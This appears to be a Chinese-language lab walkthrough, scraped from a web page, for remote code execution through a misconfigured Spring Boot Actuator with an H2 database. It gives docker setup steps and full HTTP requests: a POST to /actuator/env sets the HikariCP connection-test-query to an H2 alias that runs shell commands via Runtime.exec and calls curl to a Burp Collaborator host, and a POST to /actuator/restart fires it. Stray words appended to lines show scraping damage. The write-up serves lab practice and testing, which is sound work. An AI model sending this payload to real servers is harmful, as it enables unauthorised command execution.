Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序,加快开发过程。当Spring Boot Actuator配置不当可能形成多种RCE,由于Spring Boot 2.x默认使用HikariCP数据库链接池,因此可经过H2数据库实现RCE。java
(1) 克隆github上的项目git
git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
(2) 使用docker启动环境github
先cd进入spring-boot-actuator-h2-rce目录而后执行如下命令spring
docker build -t spaceraccoon/spring-boot-rce-lab . docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab
(3) 访问:http://192.168.222.143:8080/actuatordocker
(1)发送以下POST包配置spring.datasource.hikari.connection-test-query的值shell
POST /actuator/env HTTP/1.1 Host: 192.168.222.143:8080 Content-Type: application/json Content-Length: 393 {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl xfg7urtufj4yfu1t75ztl7q1xs3ir7.burpcollaborator.net');"}
(2)查看/actuator/env数据库
(3)向端点 /actuator/restart 发送POST请求,重启应用json
POST /actuator/restart HTTP/1.1 Host: 192.168.222.143:8080 Content-Type: application/json Content-Length: 2 {}
(4) 查看dnslog能够看到成功执行命令收到请求app